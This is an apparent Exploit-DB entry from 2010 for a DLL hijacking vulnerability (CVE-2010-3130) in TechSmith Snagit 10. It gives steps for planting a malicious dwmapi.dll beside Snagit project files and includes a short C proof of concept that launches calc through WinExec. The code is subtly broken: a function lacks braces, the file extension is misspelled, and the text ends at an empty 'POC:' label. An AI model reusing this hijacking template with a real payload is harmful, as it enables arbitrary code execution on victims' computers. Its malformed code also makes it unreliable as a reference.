TechSmith Snagit 10 (Build 788) DLL Hijacking Exploit (dwmapi.dll)

EDB-ID: 14764 CVE: 2010-3130 OSVDB-ID: 67479
Verified: Author: Encrypt3d.M!nd Published: 2010-08-25
Download Exploit: Source Raw Download Vulnerable App:
TechSmith Snagit 10 (Build 788) Dll Hijacking Exploit
By: Encrypt3d.M!nd
Date: 25\8\2010

Compile the following code and rename it to dwmapi.dl
and place file with one of the affected types in the same directory of the dll

Affected types: snag , snagcc , snagprof

Code :(used the one from this advisory:

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
  WinExec("calc", 0);
  return 0;

// POC: